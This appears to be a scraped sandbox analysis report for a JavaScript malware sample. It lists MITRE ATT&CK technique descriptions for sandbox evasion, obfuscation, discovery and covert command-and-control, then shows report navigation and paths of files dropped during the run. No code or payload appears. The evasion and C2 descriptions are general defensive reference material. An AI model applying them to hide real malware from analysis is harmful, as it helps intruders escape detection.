Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 13924233483066821789.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\20296519-d353-43cd-99bb-fc4ebedf222b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5296

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
13924233483066821789.js